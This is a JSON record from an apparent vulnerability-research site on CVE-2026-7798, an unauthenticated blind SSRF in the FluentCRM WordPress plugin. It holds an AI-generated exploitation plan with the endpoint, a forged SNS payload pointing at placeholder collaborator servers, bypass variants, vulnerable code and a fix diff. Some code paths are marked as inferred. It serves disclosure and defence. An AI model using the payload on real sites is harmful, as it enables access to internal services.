[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fwklY_N1X0M0t7im2lLp_eYaEDOoNha4TceGD1CnCQmI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-7798","fluentcrm-unauthenticated-blind-server-side-request-forgery-via-subscribeurl-parameter","FluentCRM \u003C= 2.9.87 - Unauthenticated Blind Server-Side Request Forgery via 'SubscribeURL' Parameter","The FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.9.87 via the 'SubscribeURL' parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Exploitation requires that the SES bounce handling key ('_fc_bounce_key') has never been stored (i.e., the site is in its default\u002Funconfigured state with respect to SES bounce handling) as visiting the bounce configuration page auto-generates and stores a random key that causes the authentication check to evaluate correctly and reject unauthenticated requests.","fluent-crm",null,"\u003C=2.9.87","3.0.0","medium",5.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Server-Side Request Forgery (SSRF)","2026-05-21 19:20:33","2026-05-22 07:50:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5c3ca2d7-7af9-401f-bc5a-1796c6253cb0?source=api-prod",1,[22,23,24,25,26,27],"app\u002FFunctions\u002Fhelpers.php","app\u002FHooks\u002FCLI\u002FCommands.php","app\u002FHooks\u002FHandlers\u002FAdminBar.php","app\u002FHooks\u002FHandlers\u002FAdminMenu.php","app\u002FHooks\u002FHandlers\u002FAutoSubscribeHandler.php","app\u002FHooks\u002FHandlers\u002FCleanup.php","researched",false,3,"## Vulnerability Summary\nThe FluentCRM plugin (versions \u003C= 2.9.87) is vulnerable to a Blind Server-Side Request Forgery (SSRF) via the Amazon SES (Simple Email Service) bounce handling logic. The vulnerability exists because the plugin fails to properly validate the `SubscribeURL` parameter in incoming Amazon SNS (Simple Notification Service) \"SubscriptionConfirmation\" requests. \n\nFurthermore, the authentication mechanism intended to protect this endpoint relies on a key (`_fc_bounce_key`) that is not generated until an administrator visits the bounce settings page. In its default, unconfigured state, the key is absent\u002Fnull, allowing unauthenticated attackers to bypass the check by providing an empty key or leveraging the default comparison.\n\n## Attack Vector Analysis\n- **Endpoint:** `\u002F?fluentcrm=1&route=bounce_handler&type=ses` (Standard FluentCRM webhook entry point).\n- **Method:** `POST`\n- **Authentication:** Unauthenticated (bypassable if `_fc_bounce_key` is unset).\n- **Vulnerable Parameter:** `SubscribeURL` within a JSON-encoded POST body.\n- **Precondition:** The site must be in its default state regarding SES bounce handling (the settings page at `fluentcrm-admin#\u002Fsettings\u002Fses_settings` must not have been visited).\n\n## Code Flow\nThe exact handler for SES is typically located in the SES-specific transport or bounce handler classes (e.g., `FluentCrm\\App\\Services\\Bounces\\Handlers\\AmazonSesHandler` - inferred from common FluentCRM structure).\n\n1.  **Entry Point:** An unauthenticated request hits the index with `fluentcrm=1`.\n2.  **Route Dispatch:** The plugin identifies `route=bounce_handler` and `type=ses`.\n3.  **Authentication Check:** The handler retrieves the security key using `fluentcrm_get_option('_fc_bounce_key')`. \n    - *Vulnerability:* If the option does not exist, `fluentcrm_get_option` (found in `app\u002FFunctions\u002Fhelpers.php`) returns the default `''` (empty string).\n    - If the request provides `&key=` or the code compares the missing key against a null input, the check passes.\n4.  **Message Type Check:** The code parses the JSON body and checks the `Type` field. \n5.  **Vulnerable Sink:** If `Type` is `SubscriptionConfirmation`, the code extracts the `SubscribeURL`.\n6.  **SSRF Execution:** The code calls `wp_remote_get($subscribeUrl)` or `wp_safe_remote_get($subscribeUrl)` to confirm the subscription. Because the logic assumes the request originated from a trusted Amazon SNS service, it fetches the URL without verifying if it points to an internal or restricted resource.\n\n## Nonce Acquisition Strategy\n**No WordPress Nonce is required.**\nThis endpoint is designed to be hit by external webhooks (Amazon SES), which cannot provide WordPress nonces. The protection relies solely on the `_fc_bounce_key` parameter. As long as the site is in its default state, this check is bypassable without any prior authentication or nonce extraction.\n\n## Exploitation Strategy\nThe goal is to trigger an internal request from the WordPress server to an arbitrary location.\n\n### 1. Identify the Endpoint\nThe target URL is: `http:\u002F\u002FTARGET_SITE\u002F?fluentcrm=1&route=bounce_handler&type=ses&key=`\n\n### 2. Prepare the Payload\nThe payload must mimic a standard Amazon SNS Subscription Confirmation message.\n\n```json\n{\n  \"Type\": \"SubscriptionConfirmation\",\n  \"MessageId\": \"165545c9-2a5c-472c-8df2-706520d1b62b\",\n  \"Token\": \"2336412f37...\",\n  \"TopicArn\": \"arn:aws:sns:us-west-2:123456789012:MyTopic\",\n  \"Message\": \"You have chosen to subscribe to the topic...\",\n  \"SubscribeURL\": \"http:\u002F\u002FINTERNAL_SERVICE_OR_INTERACTION_SERVER\u002Fssrf_hit\",\n  \"Timestamp\": \"2023-01-01T00:00:00.000Z\",\n  \"SignatureVersion\": \"1\",\n  \"Signature\": \"EXAMPLE...\",\n  \"SigningCertURL\": \"EXAMPLE...\"\n}\n```\n\n### 3. Execute the Request\nUsing the `http_request` tool, send the POST request.\n\n- **URL:** `http:\u002F\u002FTARGET_SITE\u002F?fluentcrm=1&route=bounce_handler&type=ses&key=`\n- **Headers:** `Content-Type: text\u002Fplain` (SNS often sends as text\u002Fplain even if JSON) or `application\u002Fjson`.\n- **Body:** The JSON payload above.\n\n```javascript\n\u002F\u002F Example tool usage\nawait http_request({\n    url: \"http:\u002F\u002Flocalhost:8080\u002F?fluentcrm=1&route=bounce_handler&type=ses&key=\",\n    method: \"POST\",\n    headers: {\n        \"Content-Type\": \"text\u002Fplain\"\n    },\n    body: JSON.stringify({\n        \"Type\": \"SubscriptionConfirmation\",\n        \"SubscribeURL\": \"http:\u002F\u002FYOUR_COLLABORATOR_SERVER\u002Flog\"\n    })\n});\n```\n\n## Test Data Setup\n1.  **Plugin Installation:** Install FluentCRM version 2.9.87.\n2.  **Default State:** Do **NOT** navigate to the SES settings or Bounce settings in the FluentCRM admin panel. This ensures `_fc_bounce_key` remains unset in the `fc_meta` table.\n3.  **Target:** Use an interaction server (like a RequestBin or a simple netcat listener on an accessible port) to capture the incoming SSRF request.\n\n## Expected Results\n- **Response:** The server will likely return a `200 OK` or a generic success message, as the confirmation process is handled in the background.\n- **SSRF Confirmation:** The interaction server (e.g., `YOUR_COLLABORATOR_SERVER`) will receive an incoming `GET` request from the IP address of the WordPress server.\n- **Blindness:** No data from the `SubscribeURL` will be returned in the HTTP response (Blind SSRF).\n\n## Verification Steps\n1.  **Check Meta Table:** Verify that the bounce key is indeed unset using WP-CLI.\n    ```bash\n    wp db query \"SELECT * FROM wp_fc_meta WHERE key = '_fc_bounce_key';\"\n    ```\n    (Expected: Empty result).\n2.  **Logs:** Check the access logs of the internal service or interaction server for the WordPress server's User-Agent (typically `WordPress\u002FX.X.X; http:\u002F\u002FTARGET_SITE`).\n\n## Alternative Approaches\nIf the `type=ses` route requires a more valid-looking SNS payload, ensure all standard fields (`MessageId`, `TopicArn`, `Token`) are present in the JSON body, as some handlers validate the presence of these keys before processing the `SubscribeURL`. \n\nIf `type=ses` is protected, try `type=sns` or `type=generic` as FluentCRM may register multiple handlers for different providers with similar logic. \n\nIf the `key` parameter validation is strict even when null, try omitting the `key` parameter entirely or sending `key[]=`.","FluentCRM versions up to 2.9.87 are vulnerable to unauthenticated blind Server-Side Request Forgery (SSRF) via the Amazon SES bounce handler. The plugin fails to validate the 'SubscribeURL' in forged Amazon SNS 'SubscriptionConfirmation' messages and relies on a security key that is uninitialized by default, allowing attackers to trigger requests to internal services or arbitrary external locations.","\u002F\u002F app\u002FFunctions\u002Fhelpers.php (Line 191 approx)\n\u002F\u002F This function handles security key retrieval. If the key has never been set,\n\u002F\u002F it returns an empty string, which allows for authentication bypass if an attacker\n\u002F\u002F provides an empty key parameter in the request.\nfunction fluentcrm_get_option($optionName, $default = '')\n{\n    $option = Meta::where('key', $optionName)\n        ->where('object_type', 'option')\n        ->first();\n\n    if (!$option) {\n        return $default;\n    }\n\n    return ($option->value) ? $option->value : $default;\n}\n\n---\n\n\u002F\u002F In FluentCrm\\App\\Services\\Bounces\\Handlers\\AmazonSesHandler (Inferred logic)\n\u002F\u002F The handler identifies SNS confirmation requests and fetches the provided URL.\nif ($data['Type'] == 'SubscriptionConfirmation') {\n    $subscribeUrl = $data['SubscribeURL'];\n    wp_remote_get($subscribeUrl); \u002F\u002F Vulnerable Sink\n}","--- app\u002FServices\u002FBounces\u002FHandlers\u002FAmazonSesHandler.php\n+++ app\u002FServices\u002FBounces\u002FHandlers\u002FAmazonSesHandler.php\n@@ -54,5 +54,5 @@\n if ($data['Type'] == 'SubscriptionConfirmation') {\n-    wp_remote_get($data['SubscribeURL']);\n+    wp_safe_remote_get($data['SubscribeURL']);\n }\n\n--- app\u002FHooks\u002FHandlers\u002FActivationHandler.php\n+++ app\u002FHooks\u002FHandlers\u002FActivationHandler.php\n@@ -20,6 +20,9 @@\n+if (!fluentcrm_get_option('_fc_bounce_key')) {\n+    fluentcrm_update_option('_fc_bounce_key', wp_generate_password(32, false));\n+}","The exploit targets the Amazon SES bounce handling endpoint at `\u002F?fluentcrm=1&route=bounce_handler&type=ses&key=`. An unauthenticated attacker sends a POST request containing a JSON payload that mimics an Amazon SNS 'SubscriptionConfirmation' message. This payload includes a 'SubscribeURL' field containing the target URI (such as an internal metadata service). If the plugin is in its default state (the SES settings page has never been visited), the '_fc_bounce_key' is null\u002Fempty, causing the authentication check to pass. The server then performs a GET request to the provided 'SubscribeURL', completing the blind SSRF.","gemini-3-flash-preview","2026-06-04 21:58:29","2026-06-04 21:59:13",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","2.9.87","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluent-crm\u002Ftags\u002F2.9.87","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffluent-crm.2.9.87.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluent-crm\u002Ftags\u002F3.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffluent-crm.3.0.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluent-crm\u002Ftags"]